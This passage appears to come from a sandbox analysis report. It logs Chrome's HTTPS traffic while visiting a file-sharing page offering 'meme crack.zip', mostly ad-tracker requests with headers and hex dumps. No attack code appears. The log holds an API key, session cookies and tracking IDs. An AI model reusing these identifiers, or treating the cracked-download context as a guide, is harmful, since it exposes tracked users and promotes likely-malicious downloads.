51	192.168.2.16	49760	68.232.35.16	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:56 UTC	722	OUT	GET /diff/js/assets/topics_frame.html HTTP/1.1 Host: ced-ns.sascdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:56 UTC	335	IN	HTTP/1.1 200 OK Age: 3170 Cache-Control: max-age=86400 Content-Type: text/html Date: Sat, 15 Jun 2024 09:14:56 GMT Etag: "f0d2e72b7a1131e32549d3713c834900:1715760824.259072+ident" Last-Modified: Wed, 15 May 2024 08:11:55 GMT Server: ECS (lhd/35AA) Vary: Accept-Encoding X-Cache: HIT Content-Length: 180 Connection: close
2024-06-15 09:14:56 UTC	180	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 71 75 61 74 69 76 20 54 6f 70 69 63 73 20 66 72 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 65 64 2d 6e 73 2e 73 61 73 63 64 6e 2e 63 6f 6d 2f 64 69 66 66 2f 6a 73 2f 6d 6f 64 75 6c 65 73 2f 74 6f 70 69 63 73 46 72 61 6d 65 4c 6f 67 69 63 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html> <head> <title>Equativ Topics frame</title> <script src="https://ced-ns.sascdn.com/diff/js/modules/topicsFrameLogic.js"></script> </head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49759	88.208.46.222	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:56 UTC	692	OUT	GET /sm/stat?landID=40&nameBlock=sl0&uuid=f39ede9d-9a59-4ee2-8649-1e0bfc6d884a&apiKey=b68c106c3df6f586f8cb1f48c5036112&action=30&rfr=https%3A%2F%2Foxy.st%2Fd%2FSmUh&smid=a1uebhcM HTTP/1.1 Host: ogffa.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:56 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 15 Jun 2024 09:14:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range Access-Control-Expose-Headers: Content-Length,Content-Range
2024-06-15 09:14:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49764	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:56 UTC	483	OUT	GET /slake/asset/img/bg/footer-bg.png HTTP/1.1 Host: oxy.st Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629; smid=a1uebhcM; sm-view=1
2024-06-15 09:14:56 UTC	355	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Fri, 14 Jun 2024 08:31:04 GMT Content-Type: image/png Content-Length: 74560 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Access-Control-Allow-Origin: * Accept-Ranges: bytes Etag: "5eefbeb2-12340" Age: 89033 DDG-Cache-Status: HIT
2024-06-15 09:14:56 UTC	16029	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 80 00 00 03 7a 08 02 00 00 00 e0 86 c3 fd 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 84 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 32 31 20 37 39 2e 31 35 34 39 31 31 2c 20 32 30 31 33 2f 31 30 2f 32 39 2d 31 31 3a 34 37 3a 31 36 20 20 Data Ascii: PNGIHDRztEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16
2024-06-15 09:14:56 UTC	16384	IN	Data Raw: 41 94 b9 1f d3 58 fa 33 b5 92 af e9 cd 03 1c c7 3c 8d db 32 d0 eb 00 4b e8 f4 87 bf 51 9e cb 00 5f 6a 27 af 03 ac 83 1e e7 b1 ac b5 10 d6 c6 f9 d7 fc d3 cd 00 a7 fc b2 9d c6 3e c0 a9 a6 de fa 91 37 d3 18 db 7e 6b 65 c6 7a e8 b0 0f 7d 17 a5 dc 27 07 a1 6f e6 96 4f a4 de 12 63 7d 06 3f e8 27 d8 6f d1 e9 e5 c7 4f c7 f1 e3 3f 3e 7a fc cb cd 7c 7d 64 0e 5e 32 9b 07 33 df 87 2e 0f 42 b8 7b 06 73 b8 7f c9 c4 35 dd 5c ae 38 1f f7 fd 87 6f 9e eb 00 a7 7c de df 0d 1c 4e 23 00 c0 33 ac 80 06 00 0e e5 a9 24 3f c6 92 69 49 eb 8e 73 25 21 32 8d 25 99 b2 36 f6 24 c9 f8 d2 4e 1b ce d9 72 b0 2c bc ab 19 9a b6 40 31 c5 e1 d1 7a c0 bc 24 a0 5b 22 26 3f 4e 93 95 03 a7 92 4b 9d 52 ee 03 ac 27 4f 2d 5b 94 87 58 b7 e9 eb 17 ac a1 43 df 7c ef 8f 66 5e 5a 27 97 01 96 7d ff 4a 27 Data Ascii: AX3<2KQ_j'>7~kez}'oOc}?'oO?>z\|}d^23.B{s5\8o\|N#3$?iIs%!2%6$Nr,@1z$["&?NKR'O-[XC\|f^Z'}J'
2024-06-15 09:14:56 UTC	16384	IN	Data Raw: 85 d1 b2 f4 d4 87 31 98 85 39 84 e7 24 c3 21 43 ad 96 77 94 64 4e 58 96 31 58 59 5c 65 e9 a3 23 39 5e 92 76 e1 ff 12 b5 44 fa 94 45 3b 33 da 18 ec 58 1e e7 b7 7d 88 0e 36 63 af f5 98 df fa d4 7a 44 dd 58 68 9d 45 63 a7 20 5f 5d 15 9c 9f 1d 0b ea 43 05 dd 09 35 15 ea 68 f6 32 92 15 1c 5c 74 15 08 8f 57 70 a6 7e 7a 2f 23 1b 98 1e 35 68 00 00 00 00 f8 05 81 0e 68 00 00 00 00 78 b1 50 a5 65 17 8a 9e 36 3d 37 8c cb 00 e9 1d 5b 9a b5 6e f9 e8 27 9f 8f d2 cb 6f ce df 9d 9c 6c e6 37 2d 2c 48 b1 49 f6 43 cd 97 eb eb 3d a5 77 6c 16 6e ae 56 16 b8 2a 11 e4 1c c1 c0 05 91 bd d4 a9 37 be 61 61 49 d4 fa 72 1f 58 28 d5 30 2d a6 90 0a 1b 0b 17 aa 3a 96 c8 07 37 c9 b1 51 3c 90 15 0c 9b d7 e3 c5 6c 8d ac 52 93 52 4b cd 4e cf c5 d2 fa 05 2b ed 9a 82 52 c7 f1 81 7c a5 96 8a Data Ascii: 19$!CwdNX1XY\e#9^vDE;3X}6czDXhEc _]C5h2\tWp~z/#5hhxPe6=7[n'ol7-,HIC=wlnV*7aaIrX(0-:7Q<lRRKN+R\|
2024-06-15 09:14:56 UTC	16018	IN	Data Raw: 78 aa eb c4 ec 66 47 2a b3 c3 b9 f9 1c 0c 6d 18 97 4b c3 d8 e6 20 cf 42 9d fe bd 17 7e c2 d1 d8 cd c1 7e a6 5b af fb 45 26 ad 17 19 75 cd 6b c2 d0 41 2a d3 bf 5f 79 b6 eb 5b 5d 13 ba 95 a7 8a 67 18 46 5e b5 a6 2b 8f ba 6e 5e 86 45 66 65 ec 22 48 93 b1 bd 45 13 35 82 ad d7 7b 33 61 b3 b4 02 00 00 00 00 3c 13 ec 80 06 00 00 00 c0 51 34 53 61 29 1b 8a 92 aa 88 44 2e 49 1a 48 db 44 39 f8 4b 53 1a b4 70 a2 ca d9 19 71 92 8b d1 bc 92 a6 57 f4 90 2b ce 16 2f 8e 13 55 72 52 96 d3 ac cd a2 5e 52 70 72 4e 57 71 bd 48 62 28 3b f1 51 32 50 83 6b 6f 27 ad a9 eb b3 6d 77 94 7c 8a 3d 4f fe 47 4e 00 73 f6 90 89 38 d9 94 52 d0 d3 c0 2c 87 a4 37 2c ae a3 5e 5b f2 38 2e fa 80 8a a8 7f 86 9c 3b f1 64 55 c4 92 f1 13 9d 98 44 ab 98 39 ab c8 e7 b9 59 12 d0 bf d9 c4 9c ce c1 d9 Data Ascii: xfGmK B~~[E&ukA_y[]gF^+n^Efe"HE5{3a<Q4Sa)D.IHD9KSpqW+/UrR^RprNWqHb(;Q2Pko'mw\|=OGNs8R,7,^[8.;dUD9Y
2024-06-15 09:14:56 UTC	9745	IN	Data Raw: f5 9e f9 62 6e 7a 76 96 33 0a ab e7 19 5d 27 7b 9e ea 5a bd 98 eb c1 4b ea bd 80 db d1 81 dd 46 30 07 8b 8f 22 b4 81 f5 16 ac 65 26 9e 65 0c 56 13 8f f3 2b 9d ac 23 98 6a 04 bd 48 6a ed ba 18 0f 2b dc 5c 8f 35 61 c0 07 ad 51 b3 95 67 7f 91 b9 3a fd 7b dd 7a ac 12 00 00 00 00 b8 05 ec 80 06 00 00 00 00 b8 19 92 14 b2 26 01 63 49 d1 65 eb 22 a9 1c cd 01 46 67 d9 46 c9 2a 26 4f 92 42 8c 92 2f e6 34 d0 59 0f 8d 8b fe cb 52 43 7c f5 99 9c 9e 42 c8 45 7b 35 e3 b3 2c e7 fc e3 40 14 4f 5f 7c c3 dc 72 39 17 d7 5f 4e 2a 0b 13 bb 3e e7 db fa b5 6b ce 3f 4a 05 68 73 dd bc 90 9c 61 e7 a3 75 66 f9 25 1d 8b 31 06 87 d4 d2 5d 92 a8 c3 48 52 2b 57 e3 22 49 c0 b3 b4 28 c5 33 46 f1 b8 a0 c1 ca d7 6a b0 b4 72 46 d1 09 1b c9 53 be 50 75 d2 45 d0 59 04 8b 4e 2c 82 fe c4 e1 56 Data Ascii: bnzv3]'{ZKF0"e&eV+#jHj+\5aQg:{z&cIe"FgF&OB/4YRC\|BE{5,@O_\|r9_N>k?Jhsauf%1]HR+W"I(3FjrFSPuEYN,V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49767	88.208.46.222	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:56 UTC	482	OUT	GET /sm/stat?uuid=f39ede9d-9a59-4ee2-8649-1e0bfc6d884a&apiKey=b68c106c3df6f586f8cb1f48c5036112&action=80&rfr=https%3A%2F%2Foxy.st%2Fd%2FSmUh&smid=a1uebhcM HTTP/1.1 Host: ogffa.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:57 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 15 Jun 2024 09:14:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range Access-Control-Expose-Headers: Content-Length,Content-Range
2024-06-15 09:14:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49770	15.197.193.217	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:56 UTC	560	OUT	GET /track/rid?ttd_pid=0fkciot&fmt=json HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:57 UTC	586	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:14:56 GMT Content-Type: application/json Content-Length: 109 Connection: close server: Kestrel access-control-allow-credentials: true access-control-allow-headers: Origin, X-Requested-With, Content-Type, Content-Length, Content-Encoding, Vary, Cache-Control, Accept access-control-allow-origin: https://oxy.st cache-control: private expires: Mon, 15 Jul 2024 09:14:56 GMT set-cookie: TDID=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b; expires=Sun, 15 Jun 2025 09:14:56 GMT; domain=.adsrvr.org; path=/; secure; samesite=none vary: Origin
2024-06-15 09:14:57 UTC	109	IN	Data Raw: 7b 22 54 44 49 44 22 3a 22 37 61 39 34 32 37 64 37 2d 35 35 36 37 2d 34 62 31 33 2d 61 64 37 38 2d 65 35 33 61 61 35 62 63 38 61 30 62 22 2c 22 54 44 49 44 5f 4c 4f 4f 4b 55 50 22 3a 22 46 41 4c 53 45 22 2c 22 54 44 49 44 5f 43 52 45 41 54 45 44 5f 41 54 22 3a 22 32 30 32 34 2d 30 36 2d 31 35 54 30 39 3a 31 34 3a 35 36 22 7d Data Ascii: {"TDID":"7a9427d7-5567-4b13-ad78-e53aa5bc8a0b","TDID_LOOKUP":"FALSE","TDID_CREATED_AT":"2024-06-15T09:14:56"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49769	18.66.102.57	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:56 UTC	534	OUT	GET /rules-p-6Fv0cGNfc_bw8.js HTTP/1.1 Host: rules.quantcount.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:57 UTC	671	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 1110 Connection: close Last-Modified: Thu, 13 Oct 2022 22:35:53 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Cross-Origin-Resource-Policy: cross-origin access-control-allow-origin: * access-control-allow-methods: GET Date: Sat, 15 Jun 2024 09:14:57 GMT Cache-Control: max-age=3600 ETag: "1f431dc94c1f033d6666f0fe637e2d7b" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 93b8205e2f07a7099af2e6fd126d9658.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P2 X-Amz-Cf-Id: 7a6znXhtKq8LNZPLp3twN_hHcJ85A2SHONHLoOX-ZTFtkN0kVANp1A== Age: 1254
2024-06-15 09:14:57 UTC	1110	IN	Data Raw: 2f 2a 0a 20 51 75 61 6e 74 63 61 73 74 20 6d 65 61 73 75 72 65 6d 65 6e 74 20 74 61 67 0a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 38 2d 32 30 32 32 2c 20 51 75 61 6e 74 63 61 73 74 20 43 6f 72 70 2e 0a 2a 2f 0a 27 75 73 65 20 73 74 72 69 63 74 27 3b 28 66 75 6e 63 74 69 6f 6e 28 6d 2c 6e 2c 70 29 7b 76 61 72 20 6c 3d 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 20 64 2e 72 65 70 6c 61 63 65 28 2f 5e 5b 5c 73 5c 75 46 45 46 46 5c 78 41 30 5d 2b 7c 5b 5c 73 5c 75 46 45 46 46 5c 78 41 30 5d 2b 24 2f 67 2c 22 22 29 7d 3b 5f 5f 71 63 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 5b 22 72 75 6c 65 73 22 2c 5b 6d 2c 6e 75 6c 6c 2c 5b 5b 66 75 6e 63 74 69 6f 6e 28 64 2c 63 29 7b 76 61 72 20 66 3d 5b 5d 2c 61 3b 69 66 28 22 61 72 72 61 79 22 3d 3d 3d Data Ascii: /* Quantcast measurement tag Copyright (c) 2008-2022, Quantcast Corp.*/'use strict';(function(m,n,p){var l=function(d){return d.replace(/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,"")};__qc.apply(null,["rules",[m,null,[[function(d,c){var f=[],a;if("array"===

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49768	88.212.201.198	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:56 UTC	729	OUT	GET /hit?q;t52.6;r;s1280102424;uhttps%3A//oxy.st/d/SmUh;hDownload%20file%20meme%20crack.zip%20on%20Oxy.Cloud;0.3200445255072193 HTTP/1.1 Host: counter.yadro.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FTID=1cRLkF03JRep1cRLkF0012aS
2024-06-15 09:14:57 UTC	481	IN	HTTP/1.1 200 OK Server: nginx/1.17.9 Date: Sat, 15 Jun 2024 09:14:57 GMT Content-Type: image/gif Content-Length: 420 Connection: close Expires: Thu, 15 Jun 2023 21:00:00 GMT Pragma: no-cache Cache-control: no-cache P3P: policyref="/w3c/p3p.xml", CP="UNI" Set-Cookie: VID=3Avj3L2_2d8p1cRLkH001V8p; path=/; expires=Sat, 14 Jun 2025 21:00:00 GMT; HttpOnly; Secure; SameSite=None; domain=.yadro.ru Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=86400
2024-06-15 09:14:57 UTC	420	IN	Data Raw: 47 49 46 38 37 61 58 00 1f 00 b3 00 00 00 00 00 66 66 66 e0 e0 e0 ff ff ff 99 00 00 00 00 99 99 33 00 00 66 00 ff aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 00 00 00 00 58 00 1f 00 00 04 fe 10 c8 49 ab bd 38 eb cd 37 fa 60 28 8e 64 69 9e 68 5a 4a 6a eb be 30 ca c6 b4 09 80 37 92 eb 61 f5 f9 3a 4a 6f 57 2b e2 8e bc df 6a 94 db 11 67 c6 28 10 88 9b fc 84 41 6b 35 ca ed 31 97 49 f0 b5 4b 26 2a ab da 29 76 4c 6e bb 87 5d ce bb 36 eb 64 02 00 81 7e cf 07 e0 ed 80 81 6c 13 03 03 81 7e 79 04 04 7c 7b 88 1a 85 87 8f 86 69 4d 12 90 90 1d 78 02 8a 8c 7a 8e 98 15 a0 91 16 a2 83 96 93 80 9a 8a 05 05 7a 06 06 02 8e 19 a2 a3 14 a5 41 57 00 97 86 bb ba 85 98 aa 04 ac ae b0 9f bc bf c7 bb bf be cb c8 c9 ca 93 a6 be d3 bd bd 88 9b c2 05 07 07 Data Ascii: GIF87aXfff3f,XI87`(dihZJj07a:JoW+jg(Ak51IK&*)vLn]6d~l~y\|{iMxzzAW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	49771	185.89.210.244	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:57 UTC	529	OUT	GET /getuidj HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:57 UTC	967	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 15 Jun 2024 09:14:57 GMT Content-Type: application/json; charset=utf-8 Content-Length: 11 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://oxy.st Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 1020ff2c-1d24-4000-8e4d-9ce498a12713 Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 03-Jun-2034 09:14:57 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 173.254.250.90; 173.254.250.90; 946.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com
2024-06-15 09:14:57 UTC	11	IN	Data Raw: 7b 22 75 69 64 22 3a 22 30 22 7d Data Ascii: {"uid":"0"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	49773	157.90.33.121	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:57 UTC	606	OUT	POST /event?z=651407 HTTP/1.1 Host: system-notify.app Connection: keep-alive Content-Length: 519 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:57 UTC	519	OUT	Data Raw: 7b 22 65 76 65 6e 74 22 3a 22 72 65 71 75 65 73 74 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 36 35 31 34 30 37 2c 22 73 75 62 69 64 31 22 3a 6e 75 6c 6c 2c 22 73 75 62 69 64 32 22 3a 22 22 2c 22 65 78 74 5f 63 6c 69 63 6b 5f 69 64 22 3a 6e 75 6c 6c 2c 22 63 6c 69 65 6e 74 5f 68 69 6e 74 73 22 3a 7b 22 61 72 63 68 69 74 65 63 74 75 72 65 22 3a 22 78 38 36 22 2c 22 62 69 74 6e 65 73 73 22 3a 22 36 34 22 2c 22 62 72 61 6e 64 73 22 3a 5b 7b 22 62 72 61 6e 64 22 3a 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 31 37 22 7d 2c 7b 22 62 72 61 6e 64 22 3a 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 38 22 7d 2c 7b 22 62 72 61 6e 64 22 3a 22 43 68 72 6f 6d 69 75 6d 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 Data Ascii: {"event":"request","zone_id":651407,"subid1":null,"subid2":"","ext_click_id":null,"client_hints":{"architecture":"x86","bitness":"64","brands":[{"brand":"Google Chrome","version":"117"},{"brand":"Not;A=Brand","version":"8"},{"brand":"Chromium","version":"
2024-06-15 09:14:57 UTC	753	IN	HTTP/1.1 200 OK Server: Angie Date: Sat, 15 Jun 2024 09:14:57 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://oxy.st Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization, X-CSRF-Token Access-Control-Expose-Headers: Authorization Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate, no-store Pragma: no-cache Expires: Tue, 11 Jan 1994 00:00:00 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Model, Sec-CH-UA-Bitness, Sec-CH-UA-Wow64

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49777	88.208.46.222	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:57 UTC	506	OUT	GET /sm/stat?landID=40&nameBlock=sl0&uuid=f39ede9d-9a59-4ee2-8649-1e0bfc6d884a&apiKey=b68c106c3df6f586f8cb1f48c5036112&action=30&rfr=https%3A%2F%2Foxy.st%2Fd%2FSmUh&smid=a1uebhcM HTTP/1.1 Host: ogffa.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:57 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 15 Jun 2024 09:14:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range Access-Control-Expose-Headers: Content-Length,Content-Range
